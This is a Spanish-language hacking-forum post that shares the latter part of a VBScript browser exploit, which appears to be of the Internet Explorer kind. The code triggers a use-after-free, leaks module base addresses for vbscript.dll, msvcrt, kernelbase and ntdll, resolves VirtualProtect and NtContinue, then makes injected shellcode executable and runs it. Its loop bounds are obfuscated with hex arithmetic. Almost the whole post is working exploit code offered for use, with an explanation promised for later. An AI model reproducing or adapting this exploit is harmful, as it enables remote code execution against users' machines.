  252.    Public Default Property Get P
  253.        Dim temp
  254.        P = 636598737289582e-328
  255.        For i = (&h1063 + 2314 - &H196d) To (&h4ac + 2014 - &Hc84)
  256.            array2(i) = (&h442 + 2598 - &He68)
  257.        Next
  258.        Set temp = New MemoryAccessClass
  259.        temp.memory = address2
  260.        For i = (&h7eb + 3652 - &H162f) To (&h3e8 + 1657 - &Ha5b)
  261.            Set array2(i) = temp
  262.        Next
  263.    End Property
  264. End Class
  265.  
  266. Set memoryHandler1 = New MemoryHandlerClass
  267. Set memoryHandler2 = New MemoryHandlerClass2
  268.  
  269. Sub useAfterFree()
  270.    For i = (&hfe8 + 3822 - &H1ed6) To (&h8b + 8633 - &H2233)
  271.        Set array1(i) = New Class1
  272.    Next
  273.    For i = (&haa1 + 6236 - &H22e9) To (&h1437 + 3036 - &H1fed)
  274.        Set array1(i) = New Class2
  275.    Next
  276.    IllI = 0
  277.    For i = 0 To 6
  278.        ReDim array1(1)
  279.        Set array1(1) = New Class1
  280.        Erase array1
  281.    Next
  282.    Set memoryHandler = New MemoryClass
  283.    IllI = 0
  284.    For i = 0 To 6
  285.        ReDim array1(1)
  286.        Set array1(1) = New Class2
  287.        Erase array1
  288.    Next
  289.    Set memoryHandler2 = New MemoryClass
  290. End Sub
  291.  
  292. Sub initializeObjects()
  293.    memoryHandler.SetProperty(memoryHandler1)
  294.    memoryHandler2.SetProperty(memoryHandler2)
  295.    variable1 = memoryHandler2.memory
  296. End Sub
  297.  
  298. Sub startExploit()
  299.    useAfterFree()
  300.    initializeObjects()
  301.    vbScriptAddress = leakVBScriptAddress()
  302.    ' Alert "CScriptEntryPointObject Leak: 0x" & Hex(vbScriptAddress) & vbcrlf & "VirtualTable address: 0x" & Hex(getUint32(vbScriptAddress))
  303.    vbScriptBase = getBaseAddressByDOSmodeSearch(getUint32(vbScriptAddress))
  304.    ' Alert "VBScript Base: 0x" & Hex(vbScriptBase)
  305.    msvcrtBase = getBaseFromImport(vbScriptBase, "msvcrt.dll")
  306.    ' Alert "MSVCRT Base: 0x" & Hex(msvcrtBase)
  307.    kernelBase = getBaseFromImport(msvcrtBase, "kernelbase.dll")
  308.    ' Alert "KernelBase Base: 0    
  309. ' Alert "KernelBase Base: 0x" & Hex(kernelBase)
  310.    ntdllBase = getBaseFromImport(msvcrtBase, "ntdll.dll")
  311.    ' Alert "Ntdll Base: 0x" & Hex(ntdllBase)
  312.    virtualProtectAddress = getProcAddress(kernelBase, "VirtualProtect")
  313.    ' Alert "KernelBase!VirtualProtect Address 0x" & Hex(virtualProtectAddress)
  314.    ntContinueAddress = getProcAddress(ntdllBase, "NtContinue")
  315.    ' Alert "KernelBase!NtContinue Address 0x" & Hex(ntContinueAddress)
  316.  
  317.    setMemoryValue getShellcode()
  318.    shellcodeAddress = getMemoryValue() + 8
  319.    ' Alert "Shellcode Address 0x" & Hex(shellcodeAddress)
  320.    setMemoryValue wrapShellcodeWithNtContinueContext(shellcodeAddress)
  321.    locationToExpand = getMemoryValue() + 69596
  322.    setMemoryValue expandWithVirtualProtect(locationToExpand)
  323.    finalMemoryValue = getMemoryValue()
  324.    executeShellcode
  325.    Alert "Executing Shellcode"
  326. End Sub
  327.  
  328. startExploit()
  329.  
  330.  

En el proximo mensaje describo a detalle los datos de funcionamiento y si logro entenderlo la explicación detallada.

Saludos Black Hacker
En línea

809219e8548c7feaa7cf844281a1d8e4a85f37bd34cc3839cf6498aaaa23dc8c
(Bad4m_cod3 estuvo aqui.)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines